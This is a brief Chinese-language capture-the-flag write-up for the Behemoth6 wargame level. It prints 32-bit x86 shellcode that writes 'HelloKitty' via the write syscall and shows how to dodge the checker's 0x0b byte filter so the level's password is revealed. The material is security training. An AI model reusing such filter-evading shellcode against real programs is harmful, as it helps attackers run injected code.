Behemoth6

Posted by rk700 on July 6, 2014

这道题会在behemoth6_reader中执行用户提供的shellcode。我开始想的是直接就在那里把密码读取了,但reader没有setuid,所以权限不够。这样的话就只能写一个输出HelloKitty的shellcode了。代码如下

BITS 32

xor eax, eax
push eax
push word 0x7974
push 0x74694b6f
push 0x6c6c6548 ;HelloKitty
mov ecx, esp

mov ebx, eax
mov edx, eax
mov bl, 1
mov dl, 10
inc edx
mov al, 4;write
int 0x80

注意reader会检查shellcode中是否包含0x0b,而那正好是字符串的长度,作为write的第3个参数。于是我是先赋为10,再加一。

编译保存为shellcode.txt,然后可得到密码